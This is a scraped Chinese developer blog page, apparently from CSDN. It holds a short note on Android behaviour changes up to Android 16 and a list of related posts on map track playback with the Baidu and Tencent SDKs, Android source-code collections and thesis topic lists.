话不多说,直接上表,持续更新(更新到安卓16)。 列出了所有记录的可能会影响应用开发者的功能和行为变更。请使用此列表查找影响您的变更,然后点击相应的链接以阅读文档。下表列出了所有记录的可能会影响应用开发者的功能和行为变更。请使用此列表查找影响您的变更,然后点击相应的链接以阅读文档。Java 和 OpenJDK 是 Oracle 及/或其关联公司的商标或注册商标。

雨季余静的博客 9万+

百度地图 轨迹回放 android,求助!关于百度地图轨迹回放功能的实现

我是搞IOS开发的新手,刚刚带我的人给了我一个任务,就是把获取到的定位记录集,转化成地图上的点,然后按时间顺序,每隔1s显示一个大头针,并把两点连成线。其实显示效果就是像动画一样,把历史轨迹播放出来。我现在纠结的是把点按顺序显示出来,我在循环中添加[NSThread sleepForTimeInterval:1.0],但它并没有出现预期的效果,而是当我讲所有的大头针都加到地图中,才开始调用mapV...

weixin_39906245的博客 266

安卓实现在百度地图上播放历史轨迹

把一个人一个月的轨迹历史描绘出来,并实现按时间顺序回放。小弟菜鸟一枚,代码质量不高,高手勿喷,谢谢。 关于描点和描线,百度地图都有自己的API,大家都应该会了;至于播放动画,肯定不止一种方法,如果大家有好的方法,分享出来,小弟感激不尽。我的方法是:在一个线程里,开始播放后,遍历存放item的list,找到当前的item,移除他的marker,然后给他换一个marker,再添加到list里面,然...

weixin_34259159的博客 166

腾讯位置服务GPS轨迹回放

前言 当我们使用地图进行开发时,利用已经录制好的轨迹进行轨迹回放来检查导航的准确性是十分常用的手段,并且上一篇已经讲完了关于地图使用时GPS轨迹文件的录制,现在对于安卓系统下使用腾讯导航SDK进行轨迹回放做一个分享 前期准备 腾讯导航SDK依赖于腾讯地图SDK、腾讯定位SDK,具体权限的开通需要去lbs.qq.com 的官网控制台去操作,另外导航SDK的权限可以联系小助手咨询(如下图所示),这里就不多做探讨 轨迹回放正片 系统架构 GPS回放系统分成两部分:GPSPlaybackActivity 和 G

_低调的哈哈_ 474

安卓项目的源码

安卓项目的源码 下面是整理的几十个安卓项目的源码,喜欢安卓的朋   友拿去吧,想必你一定用的上,喜欢安卓的朋友进来   看看吧。    Android开发的UI设计最佳实践.rar 乐看播放器源代码.rar 升级源码.rar 商业项目完整版源代码.zip 基于+Android+的英文电子词典.zip 多屏幕显示效果.rar 天天动听悬浮歌词实现

zwq1457的专栏 4422

android 记录路线轨迹_基于本科计算机安卓android毕业设计选题题目

1.安卓android教学管理系统2.JAVA JSP学生信息管理系统3.安卓Android考勤系统设计(MySQL)4.安卓+lw+电子阅读器5.安卓+lw+电子阅读器录像6.安卓教师教学信息查询系统7.开发仓库管理系统毕业作品8.图书管理-论文-项目-任务书-PPT9.android文件夹管理器10.android考勤系统11.基于android平台的个人理财系统12.基于Android平台的...

weixin_39655049的博客 161

安卓手机ppt阅读器_基于本科计算机安卓android毕业设计选题题目

1.安卓android教学管理系统2.JAVA JSP学生信息管理系统3.安卓Android考勤系统设计(MySQL)4.安卓+lw+电子阅读器5.安卓+lw+电子阅读器录像6.安卓教师教学信息查询系统7.开发仓库管理系统毕业作品8.图书管理-论文-项目-任务书-PPT9.android文件夹管理器10.android考勤系统11.基于android平台的个人理财系统12.基于Android平台的...

weixin_40009026的博客 755
上一篇: 一个普通开发者的工作日
下一篇: universalimageloader+viewpager+fragment加载网络图片轮显
cctcc
博客等级 码龄23年 104粉丝 63原创
评论 4
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值